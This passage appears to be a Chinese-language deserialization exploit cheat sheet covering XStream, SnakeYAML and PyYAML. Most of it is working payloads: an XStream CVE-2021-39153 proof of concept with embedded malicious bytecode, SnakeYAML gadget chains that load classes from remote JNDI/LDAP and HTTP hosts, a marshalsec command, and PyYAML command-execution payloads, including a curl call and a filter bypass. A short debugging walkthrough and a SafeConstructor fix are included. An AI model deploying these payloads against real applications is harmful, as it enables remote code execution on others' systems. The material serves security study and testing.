AgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB4ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABEADAAPAA0AEAARABIADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==</byte-array>
                                        </__bytecodes>
                                        <__transletIndex>-1</__transletIndex>
                                        <__indentNumber>0</__indentNumber>
                                    </default>
                                    <boolean>false</boolean>
                                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                            </proxy>
                            <implementing__method>
                                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                                <name>getOutputProperties</name>
                                <parameter-types/>
                            </implementing__method>
                        </sun.tracing.dtrace.DTraceProbe>
                    </entry>
                </probes>
            </defaultHandler>
        </handler>
    </dynamic-proxy>
</linked-hash-set>

CVE-2021-39153

PriorityQueue.siftDownUsingComparator
PackageWriter$2.compare
BeanAdapter.get

com.sun.javafx.fxml.BeanAdapter#get触发MethodUtil.invoke

    private Object get(String key) {
        Method getterMethod = key.endsWith(PROPERTY_SUFFIX) ? localCache.getMethod(key) : getGetterMethod(key);

        Object value;
        if (getterMethod != null) {
            try {
                value = MethodUtil.invoke(getterMethod, bean, (Object[]) null);
            } catch (IllegalAccessException exception) {
                throw new RuntimeException(exception);
            } catch (InvocationTargetException exception) {
                throw new RuntimeException(exception);
            }
        } else {
            value = null;
        }

        return value;
    }

POC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
        <outer-class>
          <verbose>0</verbose>
          <effort>0</effort>
          <optDumpBands>false</optDumpBands>
          <optDebugBands>false</optDebugBands>
          <optVaryCodings>false</optVaryCodings>
          <optBigStrings>false</optBigStrings>
          <isReader>false</isReader>
          <bandHeaderBytePos>0</bandHeaderBytePos>
          <bandHeaderBytePos0>0</bandHeaderBytePos0>
          <archiveOptions>0</archiveOptions>
          <archiveSize0>0</archiveSize0>
          <archiveSize1>0</archiveSize1>
          <archiveNextCount>0</archiveNextCount>
          <attrClassFileVersionMask>0</attrClassFileVersionMask>
          <attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
            <bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                <default>
                  <__name>Pwnr</__name>
                  <__bytecodes>
                    <byte-array>yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxMdXRpbHMvRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEACnV0aWxzL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB4ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABEADAAPAA0AEAARABIADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==</byte-array>
                  </__bytecodes>
                  <__transletIndex>-1</__transletIndex>
                  <__indentNumber>0</__indentNumber>
                </default>
              <boolean>false</boolean>
              </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            </bean>
            <localCache>
              <methods>
                <entry>
                  <string>getOutputProperties</string>
                  <list>
                    <method>
                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                      <name>getOutputProperties</name>
                      <parameter-types/>
                    </method>
                  </list>
                </entry>
              </methods>
            </localCache>
          </attrIndexTable>
          <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
        </outer-class>
      </comparator>
    </default>
    <int>3</int>
    <string-array>
      <string>ricky</string>
      <string>outputProperties</string>
    </string-array>
    <string-array>
      <string>ricky</string>
    </string-array>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

CVE Reference

全部CVE请参考: https://x-stream.github.io/security.html

或者使用marshalsec工具生成payload

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils rmi://127.0.0.1:2333/exp

SankeYaml

大多数 java 项目用来处理数据基本上都是 xml 和 json 两种格式,yaml 相对来说少见一点,在我做过的一些代码审计项目里,使用 yaml 处理库最常见的就是 SnakeYaml,虽然还有 jyaml、YAMLBeans 之类的库,但我在真实环境里挺少有见到使用的。

先导入 snakeyaml 依赖

<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.17</version>
</dependency>

然后输出序列化一个 javabean

import org.yaml.snakeyaml.Yaml;

public class snakeyaml {
    public static void main(String[] args) {
        Yaml yaml = new Yaml();
        Person person = new Person("ricky", 18);
        String dump = yaml.dump(person);
        System.out.println(dump);
    }
}

输出结果

!!Person {age: 18, name: ricky}

!! 后面跟全类名,{} 里是属性名和属性值,中间使用逗号分隔,sankeyaml 特点在于它没有黑名单,不能设置私有属性,不能使用构造方法触发的 gadgets

所以采用直接对类的触发

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1099/calc', autoCommit: true}

YAML基本格式要求:

  1. YAML大小写敏感;
  2. 使用缩进代表层级关系;
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)

    构造payload时需要按照这个格式要求进行构造, 否则会报错

import org.yaml.snakeyaml.Yaml;

public class snakeyaml {
    public static void main(String[] args) {
        Yaml yaml = new Yaml();
        yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1099/calc',autoCommit: true}");
    }
}

ScriptEngineManager

基于javax.script.ScriptEngineManager的利用链, 本次利用是基于javax.script.ScriptEngineManager的利用链

TestEvil.java,需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成TestEvil.class然后放置于第三方Web服务中:

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.util.List;

public class TestEvil implements ScriptEngineFactory {

    public TestEvil() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

另外,在已放置PoC.class的第三方Web服务中,在当前目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory,其中内容为指定被执行的类名TestEvil, 然后调用POC即可弹出计算机

import org.yaml.snakeyaml.Yaml;

public class snakeyaml {
    public static void main(String[] args) {
        Yaml yaml = new Yaml();
        yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8088/\"]]]]");
    }
}

或者是打包成jar包进行加载, 参考:

一定要放入META-INF\services\javax.script.ScriptEngineFactory才可执行jar包

SPI机制

参考: https://www.cnblogs.com/nice0e3/p/14514882.html

Java的SPI机制,它会去寻找目标URL中META-INF/services目录下的名为javax.script.ScriptEngineFactory的文件,获取该文件内容并加载文件内容中指定的类。程序会java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。

调试发现,在调用完如下调用链获取到类名javax.script.ScriptEngineManager之后,会返回到调用链中的construct()函数中调用获取到的构造器的constrcut()方法,然后就会继续遍历解析得到yaml格式数据内的java.net.URLClassLoader类名和java.net.URL类名:

constructDocument->constructObject->constructObjectNoCheck(新版统一为constructObject)->construct->getConstructor->getClassForNode->getClassForName

这整个流程返回了一个反射的class对象

    protected Class<?> getClassForName(String name) throws ClassNotFoundException {
        try {
            return Class.forName(name, true, Thread.currentThread().getContextClassLoader());
        } catch (ClassNotFoundException var3) {
            return Class.forName(name);
        }
    }

从getConstructor出来后继续跟进construct方法

result = this.getConstructor(node).construct(node);

此时node的type值被改为 class javax.script.ScriptEngineManager, 在上一步获取反射对象并赋值给cl时, 执行了 node.setType(cl); 这一步, 将通过反射获取的对象赋值给 node实例中的 this.type, 所以在后续构造construct构造时触发的是 javax.script.ScriptEngineManagergetDeclaredConstructors(无参构造)

1644167628524

随后 possibleConstructors 存入参数也就是 public javax.script.ScriptEngineManager(java.lang.ClassLoader), 将获取到的第一个元素强制转换为 Constructor 类型

1644167851899

回去遍历获取snode的值后对其 javax.script.ScriptEngineManager(java.lang.ClassLoader) 进行初始化, 其中 argumentList 参数为 URLClassLoader 类对象

1644168144226

接着就调用到 ScriptEngineManager 类的构造函数, 在init()中调用了initEngines(),跟进initEngines(),看到调用了ServiceLoader<ScriptEngineFactory> , 这个就是Java的SPI机制

1644168208534

后续会调用到 ServiceLoader.hasNext 然后就是跟进 ServiceLoader.hasNextService, 此处就回去读取 META-INF/services/javax.script.ScriptEngineFactory 获取实现类的信息

1644168344430

接着在 ServiceLoader$LazyIterator.nextService() 函数中调 Class.forName() 即通过反射来获取目标URL上的 TestEvil.class , 此时在Web服务端会看到被请求访问TestEvil.class 的记录, 接着c.newInstance()函数创建的 TestEvil 类实例传入 javax.script.ScriptEngineManager.cast 执行

1644168511749

漏洞修复

该漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击, 所以其修复方案为加入new SafeConstructor()类进行过滤或拒绝不安全的反序列化操作

Yaml yaml = new Yaml(new SafeConstructor());

JdbcRowSetImpl

POC1

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1099/calc',autoCommit: true}

POC2(缩进代表层级关系, 也就是com.sun.rowset.JdbcRowSetImpl.dataSourceName)

!!com.sun.rowset.JdbcRowSetImpl
 dataSourceName: 'ldap://127.0.0.1:1099/calc'
 autoCommit: true

SnakeYaml在调用Yaml.load()反序列化的时候,会调用到JdbcRowSetImpl类的dataSourceName属性的setter方法即setDataSourceName() , 后续出发一系列利用链达到JNDI注入

Spring PropertyPathFactoryBean

需要在目标环境存在springframework相关的jar包

        <!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-beans</artifactId>
            <version>5.3.14</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>5.3.14</version>
        </dependency>

POC1

!!org.springframework.beans.factory.config.PropertyPathFactoryBean
 targetBeanName: "ldap://127.0.0.1:1099/calc"
 propertyPath: ricky
 beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
  shareableResources: ["ldap://127.0.0.1:1099/calc"]

POC2

!!org.springframework.beans.factory.config.PropertyPathFactoryBean
 targetBeanName: "ldap://127.0.0.1:1099/calc"
 propertyPath: ricky
 beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
  shareableResources:
   - "ldap://127.0.0.1:1099/calc"

POC3

!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: "ldap://127.0.0.1:1099/calc", propertyPath: ricky, beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: ["ldap://127.0.0.1:1099/calc"]}}

PropertyPathFactoryBean类的beanFactory属性可以设置一个远程的Factory,类似于JNDI注入的原理,当SnakeYaml反序列化的时候会调用到该属性的setter方法,通过JNDI注入漏洞成功实现反序列化漏洞的利用

Spring DefaultBeanFactoryPointcutAdvisor

需要在目标环境存在springframework相关的jar包

POC1

set:
   ? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
     adviceBeanName: 
     beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
       shareableResources: []
   ? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
     adviceBeanName: "ldap://127.0.0.1:1099/calc"
     beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
       shareableResources: []

POC2

set:
    ? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
      adviceBeanName: 
      beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
        shareableResources: 
          - 
    ? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
      adviceBeanName: "ldap://127.0.0.1:1099/calc"
      beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
        shareableResources:
          -

POC3

set:
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor {adviceBeanName: , beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: []}}
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor {adviceBeanName: "ldap://127.0.0.1:1099/calc", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: []}}

Apache XBean

    <!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-naming -->
        <dependency>
            <groupId>org.apache.xbean</groupId>
            <artifactId>xbean-naming</artifactId>
            <version>4.20</version>
        </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-reflect -->
        <dependency>
            <groupId>org.apache.xbean</groupId>
            <artifactId>xbean-reflect</artifactId>
            <version>4.15</version>
        </dependency>

POC1

!!org.apache.xbean.propertyeditor.JndiConverter {asText: "ldap://127.0.0.1:1099/calc"}

POC2

!!org.apache.xbean.propertyeditor.JndiConverter
 asText: "ldap://127.0.0.1:1099/calc"

POC3

!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "test", "http://127.0.0.1:8079/"],!!org.apache.xbean.naming.context.WritableContext []]]

Apache Commons Configuration

POC

set:
 ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:1099/calc"]]

C3P0 JndiRefForwardingDataSource

POC1

!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
 jndiName: "ldap://127.0.0.1:1099/calc"
 loginTimeout: 0

POC2

!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: "ldap://127.0.0.1:1099/calc", loginTimeout: 0}

C3P0 WrapperConnectionPoolDataSource

POC1

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: "HexAsciiSerializedMap:xxx;"}

POC2

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
 userOverridesAsString: "HexAsciiSerializedMap:xxx;"

其余的类似 fastjson 或 jackson 的JNDI注入均可在yaml中实现

URLDNS

SnakeYAML在解析带键值对的集合的时候会对键调用hashCode方法因此会触发DNS解析,因此通过构造URL对象后面简单加个: 1让他成为一个mapping, 测试java.lang.String类是否存在

参考: SnakeYAML实现Gadget探测

key: [!!java.lang.String {}: 0, !!java.net.URL [null, "[http://feycmi.dnslog.cn](http://feycmi.dnslog.cn/)"]: 1]

PyYaml

额外拓展PyYaml的知识

CVE-2020-1747

参考: https://gist.github.com/adamczi/23a3b6d4bb7b2be35e79b0667d6682e1

通过yaml格式对PyYaml进行RCE

# The `extend` function is overriden to run `yaml.unsafe_load` with 
# custom `listitems` argument, in this case a simple curl request

- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "http://127.0.0.1/rce"]]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load

While the format of python/object/apply can supply states for the object, we can use python/name to reference a python internal function (exec, eval etc).

YAML中使用!!做类型强行转换

#   !!python/object/apply       # (or !!python/object/new)
#   args: [ ... arguments ... ]
#   kwds: { ... keywords ... }
#   state: ... state ...
#   listitems: [ ... listitems ... ]
#   dictitems: { ... dictitems ... }
# or short format:
#   !!python/object/apply [ ... arguments ... ]

The 5.3.1 fixes blocked the key extend and ^__.*__$ to disallow setting those key with the state parameter.

We discovered that we can use python/object/new with type constructor (type is a type…) to create new types with some customized internal state. With this, we can bypass the state key block mechanism and freely set our object to something like this:

!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:eval }]

With this we can put our commands to listitems, and the constructor will call instance.extend(listitems), thus finish our RCE exploit.

!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:eval }]
  listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('calc\x2eexe')"

We changed _ to \x5f and . to \x2e to bypass the regex limitation

tuple&map

This is essentially the python code tuple(map(eval, "PAYLOAD")), and this works as map and tuple are both class constructor (so it doesnt use any function as apply calls)

!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ '__import__("os").system("calc.exe")' ]]]

or like this

使用一个短横线加一个空格代表一个数组项

!!python/object/new:tuple
- !!python/object/new:map
 - !!python/name:eval
 - [ '__import__("os").system("calc.exe")' ]

oor like this

!!python/object/new:tuple
- !!python/object/new:map
 - !!python/name:eval
 - 
  - '__import__("os").system("calc.exe")'

other RCE

直接修改yml文件为:

!!python/object:os.system ["calc.exe"]

再运行,失败(显示参数未传递:TypeError: system() takes exactly 1 argument (0 given)),尝试查看源码、并变换yml文件中语句格式,均未成功!(疑难点)。

修改为以下2种均成功,通过源码得知,new其实是调用了apply,他们的不同的地方是创建对象的方式,这里可以大致认为它们是一样的。

!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]

然后就是各种组合的payload

!!python/object/apply:os.system
 - "calc.exe"

!!python/object/new:os.system
 - "calc.exe"

还可以尝试其它的命令执行函数

!!python/object/apply:subprocess.check_output ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [[calc.exe]]
!!python/object/new:subprocess.check_output ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:subprocess.check_output [[calc.exe]]
!!python/object/apply:subprocess.Popen [calc.exe]

results matching ""

    No results matching ""